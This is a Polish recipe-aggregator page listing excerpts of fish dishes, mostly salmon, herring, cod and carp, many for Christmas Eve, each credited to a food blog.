szpinak pokrywam ciastem francuskim i piekę, do momentu w którym ciasto nabiera złotego koloru. Upieczone podaję z dodatkami, którymi najczęściej są warzywa i sos. Jeśli macie ochotę na dobra rybę z fajnymi dodatkami, polecam Wam poniższy przepis na łososia w cieście francuskim . Znajdziesz mnie na Instagram:  mecooksblog  oraz Facebook:  MeCooks Łosoś Składniki na łososia w cieście francuskim

MeCooks
Łosoś z musem mango z sałatką z rukoli i pomarańczy 54

Jeżeli nie jesteście fanami karpia, to na święta (i nie tylko!) sprawdzi się mięsisty łosoś. Ja uwielbiam takiego bardziej egzotycznego – z musem mango i sałatką z

Flymetothespoon
Karp smażony w sosie majonezowo porowym 70

Pyszne sposób na rybę, inaczej niż zwykle. Idealny na obiad, na co dzień lub na Wigilijny stół, zapieczony na pysznym sosie z pory ,majonezu i białego wina . Spróbujcie na pewno wam posmakuje ,polecam

Swojskie jedzonko
Śledzie po królewsku najlepszy przepis 80

nazwa śledziowej sałatki, zapewne nie jest związana z żadnym królewskim stołem, przecież niektóre potrawy w kuchni polskiej nie mają nic wspólnego ze swoją nazwą tak jak : śledzie po japońsku, ryba po grecku czy fasolka po bretońsku, albo ruskie pierogi. Bardzo lubię przygotowywać sałatki śledziowe, bo wiem że moja rodzina uwielbia śledzie pod każdą postacią, więc przygotowywanie z nich dań jest

Damsko-męskie spojrzenie na kuchnię
Makaron ze szpinakiem i łososiem 105

Składniki: ok. 300 g fileta z łososia 1 czerwona cebula 3 ząbki czosnku 150 g groszku mrożonego 120 g szpinaku 200 g ugotowanego makaronu pełnoziarnistego sól, pieprz przyprawa do ryb … Czytaj dalej Makaron ze szpinakiem i łososiem

czarrna od kuchni
Placki ziemniaczane z makrelą, cream fraiche i obłędnie dobrą sałatką z jabłkiem i imbirem! 86

miodu, oliwy i soku z cytryny plus z zalewy ze słoiczka po imbirze zrób dressing i dodaj do sałatki.  Makrelę usmaż na patelni na chrupkie małe kawałeczki ryby. PLACKI ZIEMNIACZANE: - około 1,1 kg ziemniaków - 130 g mąki - 2 jaja duże - sól Całość wymieszaj i smaż na oleju

SMYKWKUCHNI
Dorsz w sosie paprykowym ze szpinakiem 64

chwili kostkę z papryki. Podgrzewaj minutę, wlej śmietankę i dopraw sos solą i pieprzem. Redukuj sos 5 minut. Zblenduj, ale niezbyt dokładnie. Wrzuć szpinak, wymieszaj. Do sosu włóż rybę, przykryj patelnię pokrywką i duś na małym ogniu 6 minut. Odkryj i duś kolejne 6 minut. Posyp koperkiem. Podawaj z ryżem, ulubioną kaszą, soczewicą

Delicious Place
Sałatka z gotowanego łososia 70

Łosoś to popularna ryba, której mięso jest bogate w białko, kwasy tłuszczowe omega-3 i witaminę D. Spożywany jest zarówno na surowo jak i w formie gotowanej, wędzonej, pieczonej oraz smażonej. W moim domu najczęściej gości łosoś wędzony , którego podaję na ogół na śniadanie. Równie często sięgam po łososia z wody, z którym to przygotowana jest także poniższa sałatka

MeCooks
Łosoś w słodkiej marynacie z ratatouille 78

Ratatouille to rodzaj potrawki warzywnej wywodząc się z Nicei. Składa się zazwyczaj z cukinii, papryki, bakłażanów, cebuli i pomidorów. Ale oczywiście ilu kucharzy tyle jest przepisów

Kulinarnyblog.pl - wiesz jak gotować!
Łosoś zapiekany w sosie z jogurtu greckiego 75

Wyśmienite podanie łososia, zapewniam, że polubicie taką wersję podania ryby. Możesz zaserwować to danie z ulubionymi dodatkami. Artykuł Łosoś zapiekany w sosie z jogurtu greckiego pochodzi z serwisu Pieprzyć z Fantazją

Pieprzyć z Fantazją
Pełnoziarniste wrapy naleśnikowe z warzywami i łososiem 66

zdrową przekąskę na imprezę, czy do filmu. Do przygotowania wrapów potrzebujecie tylko naleśników i ulubionych warzyw oraz serka lub ricotty. Ponadto, możecie dodać szynkę, upieczone mięso lub wędzoną rybę – np. łososia, czy makrelę. Całość wystarczy ciasno zwinąć jak tortille, przekroić na pół i podawać. Oprócz przekąski idealnie sprawdzi się jako śniadanie mistrzów, posiłek do lunchboxa, czy na kolację. Przepis

Be Fit Be Strong
dorsz czarny w zalewie octowej słodko-kwaśnej... 63

liściem laurowy, cebulą pokrojoną na kawałeczki, gotować z 5 min ut, na koniec wlać ocet 10% i tylko zagotować, zdjąć z ognia. Gdy zalewa jest jeszcze letnia wlać do ryby i zostawić w lodówce co najmniej na 24 godziny - filety z dorsza czarnego doskonale smakują w zalewie octowej słodko - kwaśnej nie tylko na zakąskę........SMACZNEGO

W Mojej Kuchni Lubię
Sałatka z jarmużem i młodymi ziemniakami 78

dań z grilla. Takie sałatki to jedne z moich ulubionych. mimo tego, że są dość kaloryczne to niezwykle smaczne, sycące no i tanie. Szczególnie lubię sałatki ziemniaczane z rybą: z łososiem , z makrelą wędzoną , z rolmopsami , ze szprotkami , ze śledziem ale te wegetariańskie są również smaczne – polecam z jajkiem w koszulce i bobem, z jajkiem i mniszkiem lekarskim , z bobem

Dorota Smakuje
Łosoś z makaronem ryżowym i szpinakowym pesto 139

sól/pieprz 3 łyżki startego parmezanu łyżka soku z cytryny 5 pieczarek ząbek czosnku mała cebula Przygotowanie: Łososia gotować na parze przez około 15 minut ( to zależy od grubości ryby, jeśli jest dość gruba, to należy gotować około 20 minut ). Lekko posolić po wierzchu. Makaron ryżowy zalać wrzątkiem w garnku i przykryć pokrywką. Trzymać w cieple przez 15 minut następnie

Jaglusia
Makaron ze szparagami i łososiem. 94

mielonego pieprzu szczypta czerwonego pieprzu lub chili w proszku (opcjonalnie) Przygotowanie: Rozgrzać patelnię, dodać kilka kropli oliwy z oliwek, ułożyć łososia skórą do dołu, smażyć 3 minuty. Nie obracać ryby na druga stronę. Wyłączyć gaz, nakryć patelnię pokrywką. Gdy przestygnie, oddzielić mięso od skóry i podzielić na mniejsze kawałki i lekko posolić. Czosnek obrać i pokroić na cienkie plasterki. Smażyć

Codziennik Kuchenny
Białe szparagi w klasycznym stylu 78

masła i soku z cytryny. Danie udekorowałam porcją krewetek. Dawno nie jadłam tak pysznego i lekkiego dania, które może funkcjonować jako pierwsze danie czyli starter lub jako przystawka do ryby. Sądzę, ze teraz będę cześciej przyrządzać białe szparagi, przynajmniej dopóki jest na nie sezon. Zielone też lubię i te jadam bardzo często zwłaszcza w pysznych sałatkach . Lubię je również

codojedzenia
Pyszny makaron z łososiem i suszonymi pomidorami. PRZEPIS 81

posmaruj łyżką oliwy z pomidorów, odstaw na 10 minut, aby lekko się zamarynował, następnie smaż na suchej patelni zaczynając od strony skóry przez 4 minuty z każdej strony, rybę zdejmij i odłóż. Na patelnię wlej 2 łyżki oliwy z pomidorów, wrzuć drobno posiekaną cebulę i czosnek, smaż około 3 minut, dodaj pokrojone pomidory i kapary, smaż jeszcze 2-3 minuty

Kulinarna Polska
Sałatka śledziowa z ziemniakami i czerwoną fasolą 84

  Dziś zapraszam Was na szybką i kolorową sałatkę śledziową   z ziemniakami i czerwoną fasolą.  Sałatka  wyszła naprawdę pyszna,  polecam

magiczna kuchnia Kasi
Sałatka z makrelą 81

ćwiartki. Makrelę obieramy z ości. Pomidora (poza koktajlowymi), ogórki, rzodkiewkę kroimy w plastry, szczypiorek siekamy. Do majonezu dodajemy jogurt, dużą szczyptę soli oraz pieprzu. Do miski przekładamy sałatę, warzywa, rybę, polewamy dipem, układamy jajka pomidorki koktajlowe, posypujemy szczypiorkiem

Lena Gotuje
Łosoś z warzywami w balsamicznym sosie 80

dymkę. Wymieszać w niewielkiej miseczce wraz z odrobiną oliwy, soli oraz pieprzu. Dokładnie wypłukać szpinak pod bieżącą wodą, a następnie go osuszyć. Podobnie postąpić z łososiem, po czym oprószyć rybę z obu stron solą i pieprzem. Na dwóch patelniach rozgrzać nieco masła klarowanego i na jednej z nich smażyć łososia przez około 3 minuty z każdej strony. Na drugiej lekko

Kulinarnyblog.pl - wiesz jak gotować!
Polędwica z dorsza czarnego pieczona w marynacie musztardowo-majonezowej z suszonym pomidorem 90

Dorsz czarny jest pyszną mięsistą rybą, którą pokochacie po pierwszym kęsie. Pieczony w delikatnej marynacie zadowoli nie jedno podniebienie Co potrzeba: 1 kg świeżej polędwicy z dorsza, Co potrzeba na marynatę: 4 łyżki pełne majonezu, 6 szt. pomidorów suszonych w oleju, Skórka otarta z 1/2 limonki, 1 łyżeczka soku z limonki, 1 łyżka musztardy, 1 łyżka natki pietruszki Wykonanie: Składniki

Bułka z Chlebem
Dorsz w sosie cytrynowym 72

Pyszne podanie dorsza czarnego. Sos cytrynowy pięknie podkreśla delikatny smak ryby i czyni danie pokazowym. Artykuł Dorsz w sosie cytrynowym pochodzi z serwisu Pieprzyć z Fantazją

Pieprzyć z Fantazją
Sałatka SZTOS 72

Sałatka SZTOS to propozycja na danie, które zachwyci każdego miłośnika ryb i nie tylko. Ułożona warstwowo wygląda bardzo apetycznie i z powodzeniem można przygotować ją na szczególne okazje. Sałatka sztos jest bardzo pożywna i sycąca. Jej przygotowanie nie wymaga dużo pracy, a z całą pewnością zachwyci nie jednego gościa. Ta sałatka to także świetne rozwiązanie gdy został wam łosoś

Alle Dobre!
Sałatka SZTOS 60

Sałatka SZTOS to propozycja na danie, które zachwyci każdego miłośnika ryb i nie tylko. Ułożona warstwowo wygląda bardzo apetycznie i z powodzeniem można przygotować ją na szczególne okazje. Sałatka sztos jest bardzo pożywna i sycąca. Jej przygotowanie nie wymaga dużo pracy, a z całą pewnością zachwyci nie jednego gościa. Ta sałatka to także świetne rozwiązanie gdy został wam łosoś

Alle Dobre!
PIECZONA MAKRELA Z SOSEM JOGURTOWYM 74

Nie możemy się nie zgodzić, że kluczem do osiągnięcia zdrowia... Artykuł PIECZONA MAKRELA Z SOSEM JOGURTOWYM pochodzi z serwisu CookMagazine .

COOKMAGAZINE
ŁOSOŚ NA SAŁATCE Z AWOKADO 74

Łosoś - bogata w składniki odżywcze ryba-cud. Zawiera dużo witamin, przede wszystkim z grupy B, zdrowych tłuszczy i białka. ŁOSOŚ NA SAŁATCE Z AWOKADO jest idealnym lekkostrawnym lunchem, który przygotujemy w 20 minut. Artykuł ŁOSOŚ NA SAŁATCE Z AWOKADO pochodzi z serwisu CookMagazine

COOKMAGAZINE
Kotlety siekane z dorszem 85

Kotlety z siekanego dorsza w cieście majonezowym, z dodatkiem czosnku, cebuli oraz koperku. Są pyszne i delikatne w smaku. To bardzo fajny pomysł na wykorzystanie ryby i przygotowanie z jednego kawałka dorsza obiadu dla całej rodziny.  Dodatkowym plusem jest prostota i szybkość wykonania - 20 minut i kotleciki gotowe! Pysznie smakują w towarzystwie sosu koperkowego oraz pieczonych ziemniaczków. Polecam też

Kuchnia MagdaLeny
Kotlety siekane z dorszem 86

Kotlety z siekanego dorsza w cieście majonezowym, z dodatkiem czosnku, cebuli oraz koperku. Są pyszne i delikatne w smaku. To bardzo fajny pomysł na wykorzystanie ryby i przygotowanie z jednego kawałka dorsza obiadu dla całej rodziny.  Dodatkowym plusem jest prostota i szybkość wykonania - 20 minut i kotleciki gotowe! Pysznie smakują w towarzystwie sosu koperkowego oraz pieczonych ziemniaczków. Polecam też

Kuchnia MagdaLeny
Śledzie w sosie samuraja 108

więcej) sambal oelek lub harissy 1 łyżeczka koncentratu pomidorowego 2 łyżki ketchupu 1 łyżeczka czosnku granulowanego 2 łyżki soku z cytryny Jak zrobić śledzie w sosie samuraja: Zaczynamy od ryby. Jeśli używamy śledzi solonych, zalewamy je zimną wodą i zostawiamy do namoczenia na jakieś 2-3 godziny, sprawdzając czy ich smak już nam odpowiada. Śledzie w oleju są gotowe

Dorota Smakuje
Jajka faszerowane szprotkami 58

swoje ulubione zioła. Moja lodówka już świeci pustkami, dodałam więc do nich rzeżuchę, która już właściwie dogorywała. Najchętniej jednak dodałabym chyba natkę pietruszki, ona mi zawsze najlepiej uzupełnia smak ryb. Możecie też zaszaleć i wrzucić jednocześnie koperek, natkę i szczypiorek – też będzie w dechę. Będę się z Wami powoli żegnać, bo naprawdę mam dziś niewiele czasu. Jeszcze sobie wymyśliłam

Kardamonovy
Sałatka z paluszkami krabowymi i ananasem 431

potrzebujesz do jej wykonania. Sałatki z paluszków surimi mają tylu zwolenników co przeciwników. Warto pamiętać, że są to paluszki o smaku krabowym. Do ich produkcji używa się białego mięsa ryb, a smak nadaje odpowiedni aromat. Szukajmy paluszków surimi, które mają w składzie jak najwięcej mięsa. Najlepiej jeśli jest go ponad 50 %. Jeżeli skład na opakowaniu zaczyna się od wody , dajmy

Kuchnia Na Wypasie
Pieczona ośmiornica z ziemniakami 59

liść laurowy 1 cytryna ½ szklanki białego wytrawnego wina Garść rukoli 2 łyżki oleju 1 łyżeczka oregano Sól Pieprz Przygotowanie: Krok 1 Rozmrożoną ośmiornicę (tutaj znajdziesz poradnik jak rozmrażać ryby i owoce morza ) włóż do garnka. Zalej wodą. Dodaj cebulę i liść laurowy. Wstaw na kuchenkę. Zagotuj, następnie zmniejsz temperaturę i gotuj na minimalnym ogniu 30 minut. Wyjmij ośmiornicę z garnka

Niedzielny kucharz
Jajka faszerowane śledziem 96

Jajka faszerowane to jajka ugotowane na twardo podane z farszem. Farsz do jajek przygotować można z gotowanych lub pieczonych warzyw, wędlin, owoców morza bądź ryb. Najprostszy farsz do jajek to ten zrobiony z ugotowanych żółtek, odrobiny musztardy i kwaśnej śmietany. Jeśli jednak macie ochotę zrobić trochę bardziej urozmaicony farsz do jajek to sięgnijcie po farsz z przepisu poniżej. Do przygotowania

MeCooks
Łosoś pieczony w cieście francuskim ze szpinakiem. Po prostu zachwycający. PRZEPIS 80

Chrupiące ciasto na wierzchu i aromatyczna ryba ze szpinakiem w środku – prawda, że brzmi wspaniale? Taki właśnie jest łosoś pieczony w cieście francuskim. Niezwykle efektowny i niezwykle pyszny. Przepis na łososia w cieście francuskim Składniki: arkusz gotowego ciasta francuskiego około 280 g (oczywiście możecie zrobić je sami, to jednak bardzo czasochłonne), 450 gramów szpinaku mrożonego w liściach, 1 cebula

Kulinarna Polska
Tarta z kiełbasą i cebulą czerwoną 95

podrzucacie mi swoje pomysły na połączenia smakowe. Jeśli chcecie się zainspirować zajrzyjcie do poniższych przepisów: Kryzysowa tarta z dżemem Tarta z tuńczykiem Tarta z porem i słonecznikiem Tarta z ryba wędzoną Tarta ze szpinakiem Tarta z grzybami suszonymi Tarta z galaretkami Tarta z pokrzywą Tarta z pomidorami Tarta z krewetkami Tarta z sałatka jarzynową Tarta z kurkami PRZEPIS TARTA

Dorota Smakuje
Dania na grilla - 5 pomysłów (poradnik - czyszczenie i konserwacja grilla) 101

przez praskę oraz koperek i odrobinę soli. Wszystko dokładnie mieszamy. Z łososia usuwamy skórę, a następnie kroimy w większą kostkę. Umieszczamy w misce z marynatą i obtaczamy w niej rybę. Miskę zakrywamy i wkładamy do lodówki na całą noc. Patyczki do szaszłyków moczymy w wodzie przez co najmniej 30 min. (ja oczywiście o tym zapomniałam i przypaliły się). Cytrynę dokładnie

Kuchnia MagdaLeny
Dania na grilla - 5 pomysłów (poradnik - czyszczenie i konserwacja grilla) 102

przez praskę oraz koperek i odrobinę soli. Wszystko dokładnie mieszamy. Z łososia usuwamy skórę, a następnie kroimy w większą kostkę. Umieszczamy w misce z marynatą i obtaczamy w niej rybę. Miskę zakrywamy i wkładamy do lodówki na całą noc. Patyczki do szaszłyków moczymy w wodzie przez co najmniej 30 min. (ja oczywiście o tym zapomniałam i przypaliły się). Cytrynę dokładnie

Kuchnia MagdaLeny
Sałatka śledziowa z cebulą i groszkiem 126

Pyszna sałatka śledziowa z cebulą i groszkiem. Sałatka ze śledzi to przepis dla wszystkich, którzy szukają prostego i szybkiego pomysłu na przekąskę z tą popularną rybą. Klasyczne składniki, czyli śledź, cebula, korniszon oraz groszek, to wszystko czego potrzebujesz skompletowania tej pysznej sałatki. Do połączenia składników proponujemy sos majonezowo – musztardowy. Sałatki śledziowe przepisy, które bardzo często trafiają na nasze stoły

Kuchnia Na Wypasie
Jak zrobić FIT PESTO? Jak przygotować suma na diecie? 73

łyżki jogurtu naturalnego - płatki chilli - kolendra lub natka pietruszki Kalafior i suma gotujemy na parze. Pesto łączę z jogurtem. Całość polewam sosem, dodaj płatki chilli i gotowe! Pamiętaj, że ryba to delikatne mięso wystarczy jej dosłownie kilka minut na parze i jest gotowa

SMYKWKUCHNI
Potrawka ryżowa z rybą 135

papryki kawałek marchewki 100 g zielonego groszku 2 ząbki czosnku 1/2 opakowania kremowego serka kanapkowego, u mnie bazyliowa apetina sól i pieprz … Czytaj dalej Potrawka ryżowa z rybą

czarrna od kuchni
Kasza kuskus z śledziem i kukurydzą 68

Szybka sałatka z kaszą kuskus z śledziem oraz kukurydzą. Przepis jest naprawę prosty, a sałatka pyszna.  Tu znajdziecie przepis na kotlety jajeczna z kuskusem Składniki

magiczna kuchnia Kasi
Pęczotto z dorszem 116

Składniki: 100 g pęczaku 150-200 g ulubionej ryby, u mnie polędwica z dorsza 100 g pieczarek 1 cebula 2 ząbki czosnku 1/2 marchewki 1/2 opakowanie serka kremowego, u mnie apetina … Czytaj dalej Pęczotto z dorszem

czarrna od kuchni
Chowder z halibutem 119

Lubicie zupy rybne ? Wiele osób ich nie gotuje bojąc się nieprzyjemnego zapachu albo uważają, że trudno je przygotować. Ale świeża ryba wcale nie ma, i nie powinna mieć, intensywnego zapachu, a ja dzisiaj podam Wam przepis na pyszną i szybką zupę z halibutem, którą na pewno pokochacie. Jest pyszna i zrobicie ją w niecałe pół godziny. Chowder to zupa rybna

Smaczna Pyza
Śledzie po węgiersku – 3 składniki 92

także na imprezy.     PRZEPIS ŚLEDZIE PO WĘGIERSKU Składniki: 500g filetów śledzi 3 duże cebule 500g słoik sosu leczo   Jak zrobić śledzie po węgiersku: Zaczynamy od ryby. Jeśli używamy śledzi solonych, zalewamy je zimną wodą i zostawiamy do namoczenia na jakieś 2-3 godziny, sprawdzając czy ich smak już nam odpowiada. Śledzie w oleju są gotowe do przygotowania

Dorota Smakuje
Śledzie z oliwą i ziołami – przepis 81

tymianek, rozmaryn, szałwia) – ok 3 łyżeczki pół szkl oliwy z oliwek 1/4 szkl octu winnego z białego wina   Jak zrobić śledzie z oliwą i ziołami: Zaczynamy od ryby. Jeśli używamy śledzi solonych, zalewamy je zimną wodą i zostawiamy do namoczenia na jakieś 2-3 godziny, sprawdzając czy ich smak już nam odpowiada. Śledzie w oleju są gotowe

Dorota Smakuje
Pasta kanapkowa z tuńczykiem i kukurydzą 45

naprawdę przepyszna i błyskawiczna w przygotowaniu. Pasta stanowi fajny, sycący dodatek do pieczywa, który urozmaici Wasz jadłospis i odmieni zwyczajne kanapki. Przy okazji, jedząc ją wzbogacicie swoją dietę o ryby i cenne kwasy tłuszczowe omega-3, których zwykle brakuje w diecie Polaków. Pastę możecie przechowywać w lodówce przez 2-3 dni, chociaż zwykle znika od razu po przygotowaniu. Serdecznie polecam

Natka Pietruszki
Łosoś zapiekany w warzywach 76

Łosoś zapiekany w warzywach to połączenie pieczonego łososia z warzywami korzennymi i słodkimi pomidorkami koktajlowymi podany na miksie sałat. Szybki przepis na Pieczony łosoś z sałatą

Kulinarnyblog.pl - wiesz jak gotować!
Dawne czasy – kostka rybna, ziemniaczki i kapusta 75

Czy pamiętacie z dawnych czasów piątkowe obiady – kostka rybna w panierce podana z ziemniakami z wody i kapusta kiszona. To były pyszne obiady. Warto wracać

Kulinarnyblog.pl - wiesz jak gotować!
Lekkie kanapeczki z marynowanym łososiem / Light sandwiches with marinated salmon 89

cytrusów. Dodaj rozgniecioną w moździerzu kolendrę. Wszystko dokładnie wymieszaj. Łososia obłóż grubą warstwą tej mieszanki z każdej strony i włóż do lodówki na 2 godziny. Po tym czasie wypłucz rybę pod bieżącą zimną wodą i osusz lnianą ściereczką. Łososia pokrój w cieniutkie plasterki. Obrane awokado rozgnieć widelcem, połącz z oliwą, sokiem cytrynowym, dopraw do smaku. Na lekkie pieczywo nakładaj pastę

Delicious Place
Klopsiki z łososia w sosie pomidorowym 66

pyszne klopsiki z łososia w grzybowo pomidorowym sosie. Podałam je z tortellini z grzybami. Jest to bardzo fajna propozycja dla dzieci ale nie tylko. Dzieci z reguły nie lubią ryb, ale jedząc klopsiki które uwielbiają do tego z sosem pomidorowym zasiądą z apetytem do stołu. pulpety: 300 g filetu z łososia 1 jajko 1 cebula 1 ząbek czosnku 3 łyżki

wesoła kuchnia
KARP SMAŻONY 76

sprawić, pokroić w dzwonki. Następnie oprószyć solą i włożyć do naczynia. Na wierzchu ułożyć pokrojoną w plastry cebulę, przykryć i wstawić do lodówki. Po około 2-3 godzinach wyjąć rybę  naczynia, usunąć cebulę i skropić sokiem z cytryny. Krok 2. Oddzielić żółtka i białka. Z białek ubić pianę. Żółtka wymieszać z piwem, dosypując tyle maki, aby ciasto uzyskało konsystencję

Moja Książka Kucharska
Jak przygotować dobre sushi 102

Kulinarna mapa polski to coraz częściej bary serwujące rolki ryżu z rybą, albo warzywami, zawinięte w morskie algi. Danie to staje się coraz bardziej popularne również w Polsce, coraz częściej kojarzy sie trochę ze street foodem. Dania te w barach, lokalach sa dość drogie, ale pokażę Wam jak przygotować je w domu. Szybki i bardzo prosto. Składniki 2 szklanki ryżu

Kulinarnyblog.pl - wiesz jak gotować!
ŁOSOŚ SMAŻONY NA MAŚLE KLAROWANYM 78

Składniki: * około 500 g łososia ze skórą * 2 łyżki masła klarowanego * sól do smaku * kolorowy pieprz świeżo mielony * kilka kropel soku z cytryny Wykonanie: Z łososia odciąć skórę. Płat ryby rozkroić na 3 mniejsze kawałki. Każdy kawałek oprószyć solą, świeżo zmielonym kolorowym pieprzem i skropić sokiem z cytryny z obu stron. Na patelni rozgrzać masło klarowane, smażyć łososia po około

Zrób to smacznie
Śledzie po żydowsku 100

Naszym wigilijnym stole muszą znaleźć się zawsze co najmniej dwa gatunki ryb: karp i śledź. Śledź najczęsciej wyspętpuje w 3 odsłonach. Po sułtańsku, klayczny w oleju i Śledź po żydowsku. Ta ostatnia propozycja to solone filety śledziowe pokrojone w kawałki i zamarynowane w oleju rzepakowym z dodatkiem cebuli, czosnku, zielonego kopru, majeranku i kilku innych ziół. Składniki: 1/2 kg filetów

Życie zaczyna się w kuchni
Pasta z wędzonej makreli i ogórka kiszonego 51

Zdecydowanie mam na blogu za mało ryb, muszę to w końcu nadrobić. A lubię, lubię bardzo i właściwie nie wiem czemu tak mało się nimi raczymy. Co do pasty z wędzonej makreli i ogórka kiszonego – uwielbiam ją. Dla mnie podstawowym dodatkiem do makreli zawsze była czerwona cebula. I ogórek kiszony. Tak powstał przepis na naprawdę genialny dodatek do pieczywa

Kardamonovy
Śledzie z pomarańczami, rukolą i orzechami 59

Smok ten ma to do siebie, że nie zawsze pamięta co z czym wymieszał, a potrafi czasem namieszać naprawdę nieźle. Po paru rozmowach, doszliśmy do tego z czym tę rybę się je. Pamiętam, że to była chyba najsmaczniejsza opcja śledzia, jaką miałam okazję kiedykolwiek jeść. Nie wiem czy to zasługa cytrusów, rukoli czy orzechów. Coś jednak tam ze sobą świetnie

Kardamonovy
Śledzie korzenne 54

tego. W sumie nawet nie chcę, w końcu bloga nie prowadzę jedynie dla siebie. Jeżeli chodzi o same śledzie, od razu się przyznam, że nie jestem wielką fanką tych ryb. Lubię jednak te, które są z owocami, świeżymi i suszonymi. Mamy więc tutaj śledzie z rodzynkami. Pyszne. Składniki: 3 solone filety śledziowe 1 czerwona cebula garść rodzynek 4 łyżki oleju

Kardamonovy
Sałatka z łososiem, pomarańczami i orzechami 54

rzepakowy extra virgin (można użyć oliwy) (przepis na 3 porcje) Łososia kroimy w dużą kostkę, doprawiamy imbirem i sosem sojowym, odstawiamy na 10 minut. Po tym czasie smażymy kawałki ryby (na zwykłym oleju rzepakowym) do zrumienienia ze wszystkich stron. Pomarańcze obieramy ze skóry, najlepiej nożem, w taki sposób żeby nie pozostała na nich biała błona. Później je filetujemy – wycinamy

Kardamonovy
Śledzie w sosie pomidorowym z powidłami śliwkowymi 50

pomidorowy i ocet. Tym razem dorzuciłam do podstawowych składników powidła śliwkowe domowej roboty i śladowe ilości cynamonu. Tak tak, cy-na-mo-nu. Pomidory i cynamon bardzo się lubią. Ryba, cynamon, święta, te sprawy. Wiecie o co chodzi. Składniki: 4 solone filety śledziowe 1 cebula puszka pomidorów 1 czubata łyżka powideł śliwkowych 1 łyżeczka octu winnego liść laurowy szczypta cynamonu

Kardamonovy
Tatar z łososia, mango i kolendry 60

coś naprawdę pysznego. Głównym bohaterem jest łosoś, za którym My się musiał trochę nachodzić. Moje plany co do potraw były zupełnie inne, ale że dostępne były tylko wędzone ryby… raczę Was czymś innym. I tak na pierwszy strzał idzie tatar. Drugi przepis postaram się opublikować jeszcze w ten weekend. Składniki: 50 g łososia wędzonego na zimno MOWI Pure

Kardamonovy
Śledzie w jogurcie z jabłkiem i groszkiem 67

Zapomniałam o tym przepisie zupełnie. Śledzie w jogurcie z cebulą i groszkiem zrobiłam przy okazji urodzin Bro. Zawsze w jego urodziny robię jakąś wersję tych ryb (bo lubi), w tym roku nie mogło być inaczej. Do wyboru miał właśnie te tytułowe i drugie – w chimichurri. Pierwsza propozycja smakowała mu bardziej, dlatego ją publikuję. Wiem, że to nienajlepsza pora

Kardamonovy
Pasta jajeczna z wędzoną makrelą i musztardą 60

Makrelę obieramy ze skóry i ości (bardzo dokładnie), rozdrabniamy widelcem w misce. Dodajemy do niej obrane jajka i te również rozdrabniamy widelcem. Pokrojoną drobno cebulę wrzucamy do jajek i ryby, dolewamy do tego jogurt, majonez i musztardę. Doprawiamy solą i świeżo zmielonym pieprzem, dokładnie mieszamy. Pasta pyszna jest właściwie od razu, nie trzeba jej odstawiać do przegryzienia się. Przed podaniem

Kardamonovy
Karp wigilijny smażony 70

Prosty i smaczny przepis na karpia wigilijnego. Wystarczą tylko 3 dodatki, by cieszyć się smakiem soczystej ryby. Artykuł Karp wigilijny smażony pochodzi z serwisu Pieprzyć z fantazją

Pieprzyć z Fantazją
Gravlax (Keto, Paleo, LowCarb) 95

kluczowym składnikiem jest erytrytol , który tutaj występuje w zastępstwie cukru. W końcu ma to być przepis niskoweglowodanowy, zgodny z dietą ketogeniczną . Razem z solą tworzą one mieszankę, która marynuje rybę , wyciąga z niej wodę i nadaje odpowiedniego smaku. Gravlax z kaparami i koperkiem Z czym to się je? No tutaj opcji jest wiele. Taki łosoś marynowany przez kilka

Modern Cave Girl
Śledzie z kolorowym pieprzem 1150

smaczne. Jeśli szukasz więc przepisu na łatwe w przygotowaniu, a jednocześnie smaczne i pachnące śledzie, to zapraszamy na naszego Bloga. Znajdziesz tu również inne pomysły na dania z ryb smażonych i marynowanych. Śledzie z kolorowym pieprzem Składniki: płaty śledziowe solone: 5 – 6 szt. cebula czerwona: 1 szt. cebula biała: 1 szt. pieprz kolorowy: 1 op. dobrej jakości olej

Kuchnia Na Wypasie
6 przepisów na dobre śledzie, które sprawdzą się podczas świąt Bożego Narodzenia i Sylwestra 196

Boże Narodzenie i Nowy Rok to czas, w którym Polacy jedzą najwięcej ryb, a dużą ich część stanowią śledzie. Wybraliśmy dla was 6 sprawdzonych przepisów, które idealnie sprawdzą się na świątecznym stole:   Śledzie po grecku. Rewelacyjna sałatka z sosem, który tak bardzo lubimy. PRZEPIS Sałatka śledziowa z pieczarkami. Przepis, który przyda się podczas świąt Sałatka śledziowa z buraczkami. Zawsze

Kulinarna Polska
Potrawy wigilijne - pyszne święta 102

Potrawy na wigilię w moim domu są tradycyjne - Smażony karp, uszka z grzybami, barszcz czerwony, śledzik, sałatka jarzynowa ,ryba po grecku. Czasem można również urozmaicić trochę te dania i przegotować je troszkę inaczej, lub podać w inny sposób. Zebrałam dla was właśnie takie przepisy w jeden post.... trochę tradycji z lekkim twistem -zapraszam

Swojskie jedzonko
Śledzie po hawajsku 97

hawajsku możesz zrobić już kilka dni przed świętami. Tego właśnie potrzebują, żeby odpowiednio się zamarynowały i przeszły smakami. Śledzie po hawajsku to wyjątkowe połączenie egzotycznego sosu z pyszną polską rybą . To bez wątpienia godna uwagi alternatywa dla klasycznych przepisów na śledzie z cebulką , śledzie w musztardzie czy śledzie w oleju . Śledzie po hawajsku są bardzo proste w przygotowaniu. Wystarczy pokroić

Kuchnia Na Wypasie
Śledzie w sosie musztardowym 65

Płaty śledziowe zrobione według tego przepisu posmakują każdemu wielbicielowi ryb, idealna propozycja na wigilijny stół. Artykuł Śledzie w sosie musztardowym pochodzi z serwisu Pieprzyć z fantazją

Pieprzyć z Fantazją
Śledzie z suszoną żurawiną i cebulą 148

Śledzie z żurawiną i cebulą   Śledzie to zadziwiająco pyszne ryby, które można przygotować na sto sposobów. Szczególnie te solone dają prawdziwe pole do kulinarnego popisu. Proponuję przepis na śledzie z suszoną żurawiną i cebulą , które zaskakują wyrafinowanym smakiem. Maślana konsystencja solonych filetów, słony posmak zalewy oraz słodycz i cierpkość suszonej żurawiny. Do tego przemacerowana cebula. Jest moc! Przygotowanie tych

Gotujemy i jemy
Śledzie w sosie słodko kwaśnym 96

100g koncentratu pomidorowego 2 łyżki cukru trzcinowego 4-6 łyżek octu ryżowego 1/2 łyżeczki soli 1/2 łyżeczki imbiru mielonego chili Jak zrobić śledzie w sosie słodko kwaśnym: Zaczynamy od ryby. Jeśli używamy śledzi solonych, zalewamy je zimną wodą i zostawiamy do namoczenia na jakieś 2-3 godziny, sprawdzając czy ich smak już nam odpowiada. Śledzie w oleju są gotowe

Dorota Smakuje
Sałatka śledziowa warstwowa 93

